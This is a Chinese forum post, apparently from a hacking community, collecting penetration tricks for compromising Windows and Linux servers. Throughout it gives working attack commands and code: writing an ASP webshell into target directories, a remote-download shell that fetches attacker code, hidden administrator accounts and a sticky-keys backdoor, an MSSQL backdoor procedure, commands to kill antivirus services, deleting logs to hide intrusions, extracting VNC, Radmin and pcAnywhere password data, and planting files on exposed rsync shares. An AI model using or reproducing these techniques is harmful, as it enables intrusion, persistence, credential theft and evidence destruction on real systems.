渗透技巧总结

admin

旁站路径问题
1、读网站配置。
6 q8 b2 [3 n, d# X) ^2、用以下VBS
: v8 b" F1 D. pOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
2 O. i) B9 k6 |# X
" V% w& j: G. k/ fMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
+ r' H' k  A0 P$ B$ n
Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
' G/ u9 {/ v8 P0 v! IEnd If
Set ObjService=GetObject
3 d6 p  W4 X, d( k4 m
% _( j/ X# ]  D. Q! ~6 V4 [("IIS://LocalHost/W3SVC")
. o5 a$ x0 K# KFor Each obj3w In objservice
. f8 t! r: ^9 O        If IsNumeric(obj3w.Name)

Then
( a" Q' x/ e  V: ]8 _                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
1 q1 `0 H4 U% z8 I! X2 J
0 C5 N$ U9 \, g  ^2 s: \       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
) b% q& y* {9 G, k/ Z                If Err
8 y, y- ?% T& \' H& M% y. v
7 n4 D  n" U7 a0 y: N<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
, @; R2 Y- O% V                For Each Binds In OService.ServerBindings
' H4 V( @  W. Z- C9 _! v     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
7 d1 a4 f7 a2 m* F
( D- e2 o& s* `' E# t/ J% u% ?WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
3 ^, \/ q5 b) _! ?! n. H  I      
( M: x0 i; i' k3 q/ T% F6 V8 y4 G
* K0 z! d# m( ~' G9 P         WScript.Echo "ath            : " & VDirObj.Path
        End If
( N6 i$ m% T9 yNext
. g- [. t  I; J复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
/ K, Y. ]( Q+ g! X) O* I" i—————————————————————
4 v6 k+ ~( r7 ~- t7 m% B; N. EWordPress的平台，爆绝对路径的方法是：
* x- m3 ]  F7 i4 kurl/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
5 I0 ]# V4 D4 V3 xphpMyAdmin暴路径办法:
4 V# x8 j2 X3 C7 p! ?* }phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
' h3 n, ?) M+ T. ^3 qphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
+ @4 }# i% x6 Y; {% @网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
6 g1 }* m2 s+ _- {————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
7 s- i9 P# \( m% qnetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
' C% c, V: i( Lnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
: ]( y1 X9 U4 `. [9 ~5 N* x————————————————————
命令行下添加SQL用户的方法
3 m% T! i0 f) P% @2 t+ ^需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
+ ?# l+ {* o  r4 \exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
- ~) M( y. h" S1 ?1 ^然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
2 d) x( K  i# q& n$ ^var o=new ActiveXObject( "Shell.Users" );
7 P  q* d5 U6 C: d1 O0 Y" _- wz=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
$ C5 u3 I: B: I1 |  @% T0 e  _
vbs:
4 Z- r1 \1 w2 c% u) KSet   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
" u: z" i) ]" _: A9 cz.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
8 M% k, A" h/ v
命令如下
7 k2 F5 S2 C" e* [) Lcacls c: /e /t /g everyone:F           #c盘everyone权限
0 d- u' I7 T9 v1 I9 Ocacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
; c% a- g& Z$ q9 W' I7 o3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
$ |4 P- g9 @" J1 {2 J! ~! D# P& ?b、内网环境（LCX）
c、终端服务器超出了最大允许连接
: \& O8 L6 e( GXP 运行mstsc /admin
2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
# V% V0 M5 H( |/ _8 }9 G+ X' W- jnet stop "Symantec AntiVirus" /y
' f/ @  f, h9 o9 A* J0 rnet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
) z, ?) }9 ~$ ]* r) j* \net stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
4 ~# j$ c- |& r3 d' `) N————————————————————
1 x& [: ^9 u  k: h" D9 _/ n
5次SHIFT：
- d5 k+ L! k/ g# Gcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
' x& Y0 `% g. s- {4 F6 y( R8 tcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
, P4 s9 @7 S% e7 ]- ~4 l——————————————————————
隐藏账号添加：
3 ~* i5 @. ^8 a% ~! p: i6 b+ W; v1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
0 V- _5 _6 P# J# c6 A2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
# V$ o! e% J$ p4 V  LMSSQL扩展后门：
USE master;
! R8 B2 {+ Q& `" C0 ?/ w/ G3 nEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
/ Z+ C6 u/ o/ f/ O# N4 o+ sGRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
# h8 N3 o; X* A! K  y' ]+ B2 T5 e直接删除 ex0111124.log
4 t5 ?% D# j0 [: Y, Y$ v2 f; q不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
& c$ Z+ E' u$ \& Y# x) }- A9 M用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
* J" H/ ?2 h9 m% @当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
3 J$ I8 h$ B8 {: H% ~HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
9 C! ^0 K; D5 O
Server\90\Tools\Shell\mru.dat
5 n- T' A$ I6 Q  k* |/ w—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

; Z' w5 p# y  w' l3 J4 P<%
2 f: r. w' @, k( _) i# ^' @7 |Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
' T" P+ X9 }( i  R; p7 `5 C6 s8 GDim Ads, Retrieval, GetRemoteData
+ L0 Y, b  v" j5 ?0 JOn Error Resume Next
: |9 `3 a! R3 H4 Q. a+ o4 f8 ?Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
4 R% h/ Y- J  Y+ d2 WWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
" i. B, y( ~6 h2 u+ b/ I6 jGetRemoteData = .ResponseBody
End With
. F% p6 P# s* m  m4 R4 E! ?Set Retrieval = Nothing
. G/ ]( @) y0 a" VSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
+ {& y% r8 s3 `.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
# l, `- O& l! D: j.Cancel()
.Close()
End With
% `' R8 s' U3 D7 m. t" \* A; `Set Ads=nothing
End Sub

0 A" f  p7 N  H8 P" ?% K  WeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

VNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
$ _8 S( g) `: D) H6 U: ]' {注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
6 d3 v# w: y; y# ^regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
# k, N- m! v. R1 w6 H) o+ }regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
) }1 U0 |8 O7 Y% U* RRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
+ f7 Z4 S! g$ T5 Y& wHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
4 a2 U) |. a9 C: b然后用HASH版连接。
. \! z& }/ @$ U/ Y如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
' U" e! T) h; u6 N2 J保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
5 r+ F3 {% [1 F4 _6 M- W; `4 x——————————————————————
/ i4 D' p2 ], _+ o/ L搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
0 j4 R) C9 x2 A1 d# T( I<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
: _. P: L0 ^( j' EstrSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
, Z7 N! J1 a" P9 ^7 Y9 g2 o( KstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
conn.open strCon
& p% [3 w' `! @+ X2 mdim rs,strSQL,id
5 B7 N" Y, [8 p* y4 Tset rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
# p6 g# }% p3 o%>
复制代码
0 L& ~* L# C  o# [- n% y" ]9 e- P******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
/ C3 A: W# g+ W3 b. I# }
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
3 l( b& `- {" A0 ~找到ou,dc,dc设置
: B9 l; i5 N% V) T5 ~7 ?. v3 n
3.查找管理员信息
匿名方式
( u* k# r5 F' T7 w/ G, e% n0 Yldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

1 P- \6 Y, ~: ?"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
, e" G8 n# [: ]8 X3 B4 J
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
, o9 [  D' f" Y0 r
# P' Q. Q$ b* U  ?5 w' q9 K
4.查找10条用户记录
8 E/ Y; w) S, b) Uldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
: C2 `' r' [) Q; H
实战:
; W5 d$ @" W1 j; a# Q' j1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
! m. S0 K2 b# ]/ w+ Abase ou=People,dc=unix-center,dc=net
& f& J% O8 `2 F- g2 S2 w) X* v" n找到ou,dc,dc设置
# S1 ~7 D. _% N% t$ {  G4 z
3.查找管理员信息
9 n  \/ J( ^3 m. G% a' u2 u$ z匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
+ r0 }# {. z# E5 R- e" G1 _  Q4 h
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
% ?! P* r% d; z" s4 G7 B8 `1 v4 Fldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

& W; g5 U) i3 c, @; X8 z"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

2 ^* S, o. q$ o2 g, r
4.查找10条用户记录
% K& l% \' A4 _! a" @ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
2 c$ N: X% H' C* w% V/ a1.返回所有的属性
: M( m( f6 v- p$ A: O4 [ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
+ ]$ D$ b& `; D4 k( @" E9 E  \; f
dn: uid=manager,dc=ruc,dc=edu,dc=cn
7 n; O9 r8 i- y6 M+ C' F" auid: manager
) P3 ]6 C! r6 I8 F8 b, M1 qobjectClass: inetOrgPerson
8 e+ N# i2 y$ z  N: qobjectClass: organizationalPerson
objectClass: person
objectClass: top
sn: manager
( q  B, I+ Q  H  q5 t; jcn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
( I  U# I. U# P" r; q' B& jobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
) R1 l! g: ]) e) v# X; i! Dsn: superadmin
( r9 z5 v' W  y/ |" Ucn: superadmin

7 D' _# ~5 E6 p2 @1 D; Sdn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
8 A$ @6 A9 v+ C2 DobjectClass: inetOrgPerson
objectClass: organizationalPerson
& w0 V: {# o( n9 r7 h% vobjectClass: person
objectClass: top
sn: admin
% P) [6 E1 d, i8 A- f% I! bcn: admin
7 e/ ?( b# B3 I2 J! ]) U% Q! F! H
dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
2 n, w, C7 l) aobjectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous
5 V" V7 v7 c2 _" L
2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
; C% t# ]/ g6 F9 hversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
+ B& ?! B; S" ]7 }8 T1 Z) c* oobjectClass: domain

3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
! y, j& ?# u9 ^objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
5 t" Y) V3 e* I- ~supportedExtension: 2.16.840.1.113730.3.5.7
& V- P9 u# _7 {( [supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
/ X2 o- H' l- Z! m/ _' j; isupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
# A1 H7 ^) S: u/ T; P$ TsupportedExtension: 2.16.840.1.113730.3.5.3
2 b4 B; A  M7 B6 K4 Z5 i8 Z' XsupportedExtension: 2.16.840.1.113730.3.5.5
: b: x* b" H+ J& Y$ }( g  [supportedExtension: 2.16.840.1.113730.3.5.6
1 D" @, K+ N& k  gsupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
# B/ C$ o) X' I& zsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
" i: k) I# |* ?5 r1 T+ wsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
$ Q( h0 l) Y4 ?( I/ K+ v5 YsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
5 m" T+ U) f5 MsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
+ i. d+ X  Z$ H7 x) W* v5 LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
: G+ A% t8 ~7 T/ i$ jsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
' }1 ~- |6 A) ]/ U* u0 X7 zsupportedExtension: 1.3.6.1.4.1.1466.20037
& i; n7 ]2 {! |5 `" W' ^" gsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
7 i2 ]4 H" \; Y2 ysupportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
8 U/ D! Z5 M" P4 A# FsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
* j9 ]; o) C- q& C# c% RsupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
+ S2 A/ @7 k! ?3 M4 B. H5 V9 nsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
. _) `% g9 S8 Q3 A$ c- F7 y$ `supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
  ?* N4 }" d' H  n' _4 g- H9 esupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
  N  v3 ?, P" d: [supportedControl: 2.16.840.1.113730.3.4.14
& h! z3 Z' d* U- |7 jsupportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
5 u/ t0 U) U+ _; ]" y  |7 ^8 {+ msupportedControl: 2.16.840.1.113730.3.4.18
; U; O; f! l4 S0 {, K  ^5 CsupportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
2 u+ x! e/ s- O/ wsupportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
1 ]( I( d6 G3 zvendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
: p. K6 h1 m9 Jnetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
. D) j+ A: ^# C5 xsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
: x5 [4 g9 e6 Q+ esupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
( s* |* V- O; j* |9 v/ MsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
+ G. v  {  L4 D: ^2 L! FsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
, R. y# Z, N9 Z/ E8 s  d/ _supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
4 d* e8 p& M7 I5 I5 P" dsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
  \2 b9 x( B  s) \6 Y8 l3 hsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
  l9 Y) ]% ]. e2 ?4 @: ksupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
: V7 m8 F- Z; _/ \supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
2 j, Y, [, b' G  @4 R- b6 ksupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
6 ^- E4 D! n' Y7 gsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
4 u( e- f5 L5 N3 T  {supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
8 r4 W) m' m! L! F+ d. I" B- x3 asupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
' }6 Q, _6 p4 m* y7 S, R$ s/ `supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
% u2 R& G  k0 A  ?/ c  y' xsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
0 ^2 n) |4 i+ i, [( T0 jsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
$ I1 |$ o. [- `% ZsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
9 Q4 s0 S  n, [5 \9 @supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
# ]" }& j9 R" I+ G% j. esupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
  m& f1 C: H! [0 L  h  n+ V/ p& |8 ?————————————
2. NFS渗透技巧
7 \  O/ S0 o" t# ?0 ~showmount -e ip
/ z" E9 W+ l# z9 B* s+ u/ u) F列举IP
; Y6 \5 u" K" A——————
- x3 @& K6 _, [" e3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
& z  k( j% S2 Cfinance
4 c9 J& B& p/ Y1 ]img_finance
auto
; x/ m; A5 \/ `4 O" jimg_auto
- d* f9 R) i" V" _; a; ]4 F; f+ Ihtml_cms
9 ^6 R3 v$ _; s! G. w! H( l$ kimg_cms
ent_cms
# q" D. D6 P+ D# E6 ~: eent_img
ceshi
res_img
) o0 X7 v& Q; Eres_img_c2
" v/ }5 t6 t* f5 ochip
" @% N8 H; r7 l0 K2 `* C) z3 w) ^& Jchip_c2
6 M+ M( j( c# Y/ hent_icms
5 K" X" _& C4 X: v4 V4 s# a5 ygames
gamesimg
5 w" V, F8 Q& d  Y9 V/ Dmedia
' c1 j' W9 ?; E# w! Dmediaimg
fashion
res-fashion
/ M% C( H2 W& [res-fo
taobao-home
res-taobao-home
house
/ M- x) B5 u- b7 P; \- n4 Mres-house
res-home
& Z: B; }' L2 ^+ Dres-edu
res-ent
res-labs
res-news
: K% B1 ?9 e9 y  `, Pres-phtv
! u2 E0 [; k6 l( v4 m! Ores-media
8 k, X$ u  R8 J8 Q; }+ Xhome
0 C: f/ i, b* n9 Aedu
+ O; q- X9 f) u9 |# wnews
9 X* w9 o& t6 _, f: j/ Tres-book

: B' U7 U! e4 {% f  L7 ^" y; o7 X8 _看相应的下级目录(注意一定要在目录后面添加上/)
/ n0 f, F9 U6 s7 |7 G- n' z

rsync 210.51.X.X::htdocs_app/
" y, Y. H2 k( f6 @rsync 210.51.X.X::auto/
+ [9 y" |' ~+ D. G2 ursync 210.51.X.X::edu/

$ ?; q' o4 ^& f* ]8 X0 V2.下载rsync服务器上的配置文件
+ j% J6 L4 y' B9 ~6 Lrsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
4 [5 o# c  X" `
3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
5 c" g% h2 y$ _nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
; I/ j4 L" I  q. S- k: O1 L" w, T2 BGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
: Q: s7 W# J" `2 ]% v9 ^4 f
: |' W0 [8 d% a六.joomla渗透小技巧
( n+ p$ {8 A6 k$ N2 |# F) N  L确定版本
- J5 g1 }" O# h& `index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
  Q. M, V' ?4 m# {9 C# N1 U
* s( h' ^4 ?0 \5 h- m' ^15&catid=32:languages&Itemid=47
; g' R/ u5 L8 Y6 R+ ?
  r7 o$ G! e4 Q, q# B重新设置密码
index.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
8 G& x. i" M4 i! E( F/ {1 Ruseradd -o -u 0 nothack
1 H3 i( D- y# Z( n
. D, Y1 _* D- i八.freebsd本地提权
) e% f+ ?# `3 L, g[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
, k# l, V9 P" i  d" k* [argp@julius ~]$ ./nfs_mount_ex
* G! g' s- Y; Y2 g*
calling nmount()
# A, u& c+ N# L9 Q+ V9 s
: i- I: p' K2 v; A2 b& C（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
2 }! ~" R! T7 x/ o  |1 y————————————————————————————
$ W  I5 i! Q$ J& O) C' D1 @1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
' C, S% B2 f/ f. k. V* R& \. Z( Kalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
% B" l+ l; k: Z" T. e% S. f{
6 f, v0 `/ c+ T: l注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
6 _  P0 r; \+ s- G若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
